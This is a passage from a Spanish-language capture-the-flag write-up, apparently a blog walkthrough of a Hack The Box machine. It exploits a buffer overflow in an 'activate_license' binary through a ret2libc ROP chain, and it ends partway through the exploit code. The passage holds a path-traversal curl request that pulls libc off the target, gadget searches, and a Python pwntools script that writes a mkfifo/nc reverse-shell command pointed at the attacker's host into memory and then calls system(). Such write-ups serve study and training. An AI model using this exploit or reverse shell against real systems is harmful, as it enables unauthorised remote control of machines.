&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-884b-f5760ed48810.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pattern search $rsp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Por qué&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;$rsp&lt;/code&gt;****?&lt;/strong&gt;
En x64, cuando se ejecuta &lt;code&gt;RET&lt;/code&gt;, el procesador toma la dirección de retorno de donde apunta &lt;code&gt;RSP&lt;/code&gt;. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8002-834d-ec2cb03c947b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos un offset de &lt;strong&gt;520&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="ret2libc"&gt;Ret2Libc&lt;/h2&gt;
&lt;p&gt;Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es &lt;strong&gt;Ret2Libc&lt;/strong&gt;: reutilizar funciones de &lt;code&gt;libc&lt;/code&gt; (por ejemplo &lt;code&gt;system()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Por ASLR, &lt;code&gt;libc&lt;/code&gt; cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;actbase&lt;/code&gt;: base del binario &lt;code&gt;activate_license&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libcbase&lt;/code&gt;: base de la librería &lt;code&gt;libc&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para eso leemos &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/maps&lt;/code&gt; del proceso &lt;code&gt;activate_license&lt;/code&gt;, y antes necesitamos el PID.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-bf92-ea7327b5531e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos PID (419).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bd-906a-c86850e8748d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;activate_license&lt;/code&gt; → 55591a82b000&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libc&lt;/code&gt; → 7ff574bbe000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="offset-de-system-en-libc"&gt;Offset de &lt;code&gt;system()&lt;/code&gt; en libc&lt;/h3&gt;
&lt;p&gt;Descargamos &lt;a href="http://libc-2.31.so/"&gt;&lt;code&gt;libc-2.31.so&lt;/code&gt;&lt;/a&gt; del servidor para analizarla.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.227.&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so -o libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; nos permite localizar &lt;code&gt;system&lt;/code&gt; (offset &lt;code&gt;0x00048e50&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80cc-80a7-ea757c207ebc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="pop-rdi-ret-y-zona-escribible"&gt;&lt;code&gt;pop rdi; ret&lt;/code&gt; y zona escribible&lt;/h3&gt;
&lt;p&gt;En x64, el primer argumento de una función va en &lt;strong&gt;RDI&lt;/strong&gt;, así que necesitamos un gadget &lt;code&gt;pop rdi; ret&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ropper -f ../loot/activate_license --search &amp;#39;pop rdi; ret&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Load gadgets &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; section&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; LOAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] loading... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] removing double gadgets... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Searching &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; gadgets&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] File&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ../loot/activate_license
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x000000000000181b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Buscar una zona &lt;strong&gt;escribible&lt;/strong&gt; (por ejemplo &lt;code&gt;.data&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Escribir ahí el comando en trozos.&lt;/li&gt;
&lt;li&gt;Llamar a &lt;code&gt;system()&lt;/code&gt; apuntando a esa dirección.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Con &lt;code&gt;rabin2 -S&lt;/code&gt; vemos secciones y permisos (por ejemplo &lt;code&gt;.data&lt;/code&gt; es &lt;code&gt;-rw-&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# rabin2 -S ../loot/activate_license&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Sections&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nth paddr size vaddr vsize perm type name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0x00000000 0x0 0x00000000 0x0 ---- NULL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;note.gnu.build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-id
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt.got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt; 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt; 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt; 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt; 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt; 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt; 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="exploit"&gt;Exploit&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from sys import argv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from pwn import *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Esta función realiza todo el ataque&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def perform_rce(rhost, lhost)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 1. DIRECCIONES BASE (ASLR) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó el programa &amp;#34;activate_license&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la primera línea de /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; actbase = 0x561afcc08000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó la librería &amp;#34;libc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la línea de libc-2.31.so en /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; libcbase = 0x7fc7d4c5c000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ActBase: {hex(actbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] LibcBase: {hex(libcbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 2. GADGETS (HERRAMIENTAS DE ROP) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Son instrucciones pequeñas que ya existen en el programa/libc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en el binario principal &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sirve para poner el primer argumento de una función (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdi = p64(actbase + 0x0000181b) &lt;span style="color:#75715e"&gt;# pop rdi; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: Sirve para poner el segundo argumento (RDX)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Lo usamos como &amp;#34;mochila&amp;#34; para llevar los trozos de nuestro comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdx = p64(libcbase + 0x000cb1cd) &lt;span style="color:#75715e"&gt;# pop rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mov_gadget = p64(libcbase + 0x0003ace5) &lt;span style="color:#75715e"&gt;# mov qword ptr [rdi], rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección de la función system() en Libc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; system_addr = p64(libcbase + 0x00048e50)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 3. ZONA ESCRIBIBLE ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset 0x4000 sacado de rabin2 (Sección .data)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Aquí es donde escribiremos nuestro comando malicioso byte a byte.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; writable = actbase + 0x00004000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset del Buffer Overflow (confirmado previamente como 520)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; offset = &lt;span style="color:#ae81ff"&gt;520&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 4. PREPARAR EL COMANDO (PAYLOAD) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Creamos el comando de reverse shell.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd = f&lt;span style="color:#e6db74"&gt;&amp;#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {lhost} 4444&amp;gt;/tmp/f&amp;#34;&lt;/span&gt;.encode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Rellenamos con ceros hasta que la longitud sea múltiplo de 8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Necesario porque en 64 bits escribimos de 8 en 8 bytes)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; != &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt; * (&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; - (len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop = b&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += b&lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; * offset &lt;span style="color:#75715e"&gt;# Relleno basura hasta llegar al RIP (Instruction Pointer)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# BUCLE DE ESCRITURA (Write-What-Where)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Divide el comando en trozos de 8 bytes y los escribe en la memoria .data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(cmd), &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
